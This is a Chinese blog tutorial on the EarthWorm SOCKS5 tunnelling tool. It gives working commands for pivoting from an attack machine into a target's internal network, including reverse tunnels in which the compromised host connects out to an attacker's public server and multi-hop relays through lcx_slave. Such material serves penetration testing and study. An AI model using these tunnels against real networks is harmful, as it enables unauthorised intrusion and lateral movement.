简介:
EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。 主页: http://rootkiter.com/EarthWorm/
 
ew项目地址:
 
【使用场景】
普通网络环境:
1. 目标网络边界存在公网IP且可任意开监听端口:
a)./ew -s ssocksd -l 8888 开启 8888 端口的 socks 代理
b) 攻击机通过访问 目标主机8888 端口使用目标主机提供的代理
 
2. 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
a) ./ew -s rcsocks -l 1080 -e 8888
// 在公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888
// 将目标网络的可控边界主机反向连接公网主机8888端口
c) 攻击机可通过访问公网主机1080 端口使用 rssocks 主机提供的 socks5 代理服务
 
使用EW做反向Socks5代理
1.在公网服务器上执行以下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 1024 监听本机的1080端口转发到反连1024端口的主机
2.在目标机器执行以下命令
.\ew_for_Win.exe -s rssocks -d 97.xx.xx.23 -e 1024 通过socks隧道连接公网IP的1024端口
3.攻击机kali通过proxychins或者浏览器配置socks5代理访问目标内网机器
第一种:使用socks代理访问目标内网
使用Python开启web服务
在kali上访问目标内网IP即可访问web服务
 
使用proxychins访问目标内网
编辑proxychins配置文件
vim /etc/proxychains.conf
然后访问使用proxychains代理访问 127.0.0.1, 就成功了:
 
二重网络环境
攻击机:内网主机 kali A
攻击机:公网主机 debian B
目标主机A:目标网络的边界主机,无公网 IP,无法访问特定资源。
目标主机B:目标网络内部主机,可访问特定资源,却无法回连公网。
A 主机可直连 B 主机
 
1.公网主机B添加转接隧道
./ew_for_linux64 -s lcx_listen -l 1080 -e 1024 监听本机的1080端口转发到反连1024端口的主机
2.在内网主机B上利用 ssocksd 方式启动 9999 端口的 socks 代理
.\ew_for_Win.exe -s ssocksd -l 9999
3.在内网主机A上通过工具的lcx_slave方式,打通公网主机1024端口和主机B 9999之间的通讯隧道
.\ew_for_Win.exe -s lcx_slave -d 97.xx.xx.23 -e 1024 -f 192.168.245.131 -g 9999
4.内网攻击主机kali 通过访问 公网主机1080端口来使用 内网主机B提供的 socks5 代理
 
 
【参数说明】
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd        rcsocks       rssocks
lcx_slave      lcx_tran       lcx_listen
 
 
SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
 
lcx 类别管道:
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。

 

版权声明:本文为micr067原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/micr067/p/11809599.html